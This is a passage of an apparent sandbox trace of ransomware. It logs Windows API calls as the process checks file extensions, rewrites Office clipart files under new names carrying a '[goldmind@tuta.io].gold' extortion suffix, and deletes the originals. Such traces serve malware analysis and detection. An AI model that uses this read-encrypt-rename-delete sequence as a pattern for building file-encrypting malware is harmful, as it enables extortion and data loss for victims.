Office\\CLIPART\\PUB60COR\\J0107718.WMF") returned 63 [0108.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF") returned 63 [0108.679] lstrlenW (lpString=".doc") returned 4 [0108.679] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.679] lstrlenW (lpString=".docx") returned 5 [0108.679] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0108.679] lstrlenW (lpString=".pdf") returned 4 [0108.679] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.679] lstrlenW (lpString=".xls") returned 4 [0108.679] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.679] lstrlenW (lpString=".xlsx") returned 5 [0108.679] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0108.679] lstrlenW (lpString=".ppt") returned 4 [0108.679] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF") returned 63 [0108.679] lstrlenW (lpString=".zip") returned 4 [0108.679] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.679] lstrlenW (lpString=".rar") returned 4 [0108.679] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.679] lstrlenW (lpString=".bz2") returned 4 [0108.679] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.679] lstrlenW (lpString=".7z") returned 3 [0108.679] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF") returned 63 [0108.679] lstrlenW (lpString=".dbf") returned 4 [0108.679] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF") returned 63 [0108.679] lstrlenW (lpString=".1cd") returned 4 [0108.679] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF") returned 63 [0108.679] lstrlenW (lpString=".jpg") returned 4 [0108.679] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.680] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0108.680] lstrlenW (lpString="J0107722.WMF") returned 12 [0108.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107722.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0108.680] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=8260) returned 1 [0108.680] CloseHandle (hObject=0x3b4) returned 1 [0108.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107722.wmf")) returned 0x20 [0108.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107722.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0108.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107722.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0108.681] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.681] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107722.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0108.682] GetLastError () returned 0x0 [0108.682] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x2044, lpOverlapped=0x0) returned 1 [0108.684] WriteFile (in: hFile=0x188, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x2050, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x2050, lpOverlapped=0x0) returned 1 [0108.684] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0108.684] WriteFile (in: hFile=0x188, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0108.684] SetEndOfFile (hFile=0x188) returned 1 [0108.685] CloseHandle (hObject=0x188) returned 1 [0108.685] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.685] SetEndOfFile (hFile=0x3b4) returned 1 [0108.686] CloseHandle (hObject=0x3b4) returned 1 [0108.686] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0108.687] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107722.wmf")) returned 1 [0108.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF") returned 63 [0108.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF") returned 63 [0108.687] lstrlenW (lpString=".doc") returned 4 [0108.687] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.687] lstrlenW (lpString=".docx") returned 5 [0108.687] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0108.687] lstrlenW (lpString=".pdf") returned 4 [0108.687] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.687] lstrlenW (lpString=".xls") returned 4 [0108.687] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.687] lstrlenW (lpString=".xlsx") returned 5 [0108.687] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0108.687] lstrlenW (lpString=".ppt") returned 4 [0108.687] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF") returned 63 [0108.688] lstrlenW (lpString=".zip") returned 4 [0108.688] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.688] lstrlenW (lpString=".rar") returned 4 [0108.688] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.688] lstrlenW (lpString=".bz2") returned 4 [0108.688] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.688] lstrlenW (lpString=".7z") returned 3 [0108.688] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF") returned 63 [0108.688] lstrlenW (lpString=".dbf") returned 4 [0108.688] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF") returned 63 [0108.688] lstrlenW (lpString=".1cd") returned 4 [0108.688] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF") returned 63 [0108.688] lstrlenW (lpString=".jpg") returned 4 [0108.688] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF") returned 63 [0108.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF") returned 63 [0108.688] lstrlenW (lpString=".doc") returned 4 [0108.688] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.688] lstrlenW (lpString=".docx") returned 5 [0108.688] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0108.688] lstrlenW (lpString=".pdf") returned 4 [0108.688] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.688] lstrlenW (lpString=".xls") returned 4 [0108.688] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.688] lstrlenW (lpString=".xlsx") returned 5 [0108.688] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0108.688] lstrlenW (lpString=".ppt") returned 4 [0108.688] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF") returned 63 [0108.688] lstrlenW (lpString=".zip") returned 4 [0108.688] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.688] lstrlenW (lpString=".rar") returned 4 [0108.688] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.688] lstrlenW (lpString=".bz2") returned 4 [0108.688] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.688] lstrlenW (lpString=".7z") returned 3 [0108.688] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF") returned 63 [0108.688] lstrlenW (lpString=".dbf") returned 4 [0108.688] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF") returned 63 [0108.688] lstrlenW (lpString=".1cd") returned 4 [0108.688] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF") returned 63 [0108.689] lstrlenW (lpString=".jpg") returned 4 [0108.689] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.689] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0108.689] lstrlenW (lpString="J0107724.WMF") returned 12 [0108.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107724.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0108.689] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=7016) returned 1 [0108.689] CloseHandle (hObject=0x3b4) returned 1 [0108.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107724.wmf")) returned 0x20 [0108.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107724.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0108.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107724.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0108.690] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.690] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107724.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0108.693] GetLastError () returned 0x0 [0108.693] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x1b68, lpOverlapped=0x0) returned 1 [0108.694] WriteFile (in: hFile=0x188, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x1b70, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x1b70, lpOverlapped=0x0) returned 1 [0108.696] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0108.696] WriteFile (in: hFile=0x188, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0108.696] SetEndOfFile (hFile=0x188) returned 1 [0108.696] CloseHandle (hObject=0x188) returned 1 [0108.696] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.696] SetEndOfFile (hFile=0x3b4) returned 1 [0108.698] CloseHandle (hObject=0x3b4) returned 1 [0108.698] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0108.698] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107724.wmf")) returned 1 [0108.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF") returned 63 [0108.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF") returned 63 [0108.699] lstrlenW (lpString=".doc") returned 4 [0108.699] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.699] lstrlenW (lpString=".docx") returned 5 [0108.699] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0108.699] lstrlenW (lpString=".pdf") returned 4 [0108.699] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.699] lstrlenW (lpString=".xls") returned 4 [0108.699] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.699] lstrlenW (lpString=".xlsx") returned 5 [0108.699] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0108.699] lstrlenW (lpString=".ppt") returned 4 [0108.699] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF") returned 63 [0108.699] lstrlenW (lpString=".zip") returned 4 [0108.699] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.699] lstrlenW (lpString=".rar") returned 4 [0108.699] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.699] lstrlenW (lpString=".bz2") returned 4 [0108.699] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.699] lstrlenW (lpString=".7z") returned 3 [0108.699] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF") returned 63 [0108.699] lstrlenW (lpString=".dbf") returned 4 [0108.699] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF") returned 63 [0108.699] lstrlenW (lpString=".1cd") returned 4 [0108.699] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF") returned 63 [0108.699] lstrlenW (lpString=".jpg") returned 4 [0108.699] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF") returned 63 [0108.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF") returned 63 [0108.700] lstrlenW (lpString=".doc") returned 4 [0108.700] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.700] lstrlenW (lpString=".docx") returned 5 [0108.700] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0108.700] lstrlenW (lpString=".pdf") returned 4 [0108.700] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.700] lstrlenW (lpString=".xls") returned 4 [0108.700] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.700] lstrlenW (lpString=".xlsx") returned 5 [0108.700] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0108.700] lstrlenW (lpString=".ppt") returned 4 [0108.700] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF") returned 63 [0108.700] lstrlenW (lpString=".zip") returned 4 [0108.700] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.700] lstrlenW (lpString=".rar") returned 4 [0108.700] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.700] lstrlenW (lpString=".bz2") returned 4 [0108.700] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.700] lstrlenW (lpString=".7z") returned 3 [0108.700] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF") returned 63 [0108.700] lstrlenW (lpString=".dbf") returned 4 [0108.700] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF") returned 63 [0108.700] lstrlenW (lpString=".1cd") returned 4 [0108.700] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF") returned 63 [0108.700] lstrlenW (lpString=".jpg") returned 4 [0108.700] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.700] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0108.700] lstrlenW (lpString="J0107728.WMF") returned 12 [0108.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107728.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0108.701] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=5492) returned 1 [0108.701] CloseHandle (hObject=0x3b4) returned 1 [0108.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107728.wmf")) returned 0x20 [0108.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107728.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0108.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107728.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0108.701] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.701] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107728.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0108.702] GetLastError () returned 0x0 [0108.702] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x1574, lpOverlapped=0x0) returned 1 [0108.703] WriteFile (in: hFile=0x188, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x1580, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x1580, lpOverlapped=0x0) returned 1 [0108.704] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0108.704] WriteFile (in: hFile=0x188, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0108.704] SetEndOfFile (hFile=0x188) returned 1 [0108.704] CloseHandle (hObject=0x188) returned 1 [0108.704] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.704] SetEndOfFile (hFile=0x3b4) returned 1 [0108.706] CloseHandle (hObject=0x3b4) returned 1 [0108.706] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0108.706] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107728.wmf")) returned 1 [0108.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF") returned 63 [0108.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF") returned 63 [0108.707] lstrlenW (lpString=".doc") returned 4 [0108.707] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.707] lstrlenW (lpString=".docx") returned 5 [0108.707] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0108.707] lstrlenW (lpString=".pdf") returned 4 [0108.707] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.707] lstrlenW (lpString=".xls") returned 4 [0108.707] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.707] lstrlenW (lpString=".xlsx") returned 5 [0108.707] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0108.707] lstrlenW (lpString=".ppt") returned 4 [0108.707] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF") returned 63 [0108.707] lstrlenW (lpString=".zip") returned 4 [0108.707] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.707] lstrlenW (lpString=".rar") returned 4 [0108.707] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.707] lstrlenW (lpString=".bz2") returned 4 [0108.707] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.707] lstrlenW (lpString=".7z") returned 3 [0108.707] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF") returned 63 [0108.707] lstrlenW (lpString=".dbf") returned 4 [0108.707] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF") returned 63 [0108.707] lstrlenW (lpString=".1cd") returned 4 [0108.707] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF") returned 63 [0108.708] lstrlenW (lpString=".jpg") returned 4 [0108.708] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF") returned 63 [0108.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF") returned 63 [0108.708] lstrlenW (lpString=".doc") returned 4 [0108.708] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.708] lstrlenW (lpString=".docx") returned 5 [0108.708] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0108.708] lstrlenW (lpString=".pdf") returned 4 [0108.708] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.708] lstrlenW (lpString=".xls") returned 4 [0108.708] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.708] lstrlenW (lpString=".xlsx") returned 5 [0108.708] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 